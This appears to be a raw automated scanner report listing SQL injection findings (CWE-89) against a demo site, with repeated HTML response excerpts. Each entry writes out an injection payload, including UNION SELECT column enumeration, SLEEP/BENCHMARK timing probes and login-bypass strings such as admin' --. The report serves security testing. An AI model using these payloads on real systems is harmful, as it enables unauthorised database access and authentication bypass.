z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1652
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 29#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1653
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1654
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' OR '1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1655
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " OR 1 = 1 -- -
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1656
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1657
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT USER()
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1658
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1659
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1660
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# "-"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1661
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1662
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1663
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1664
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1665
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1666
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
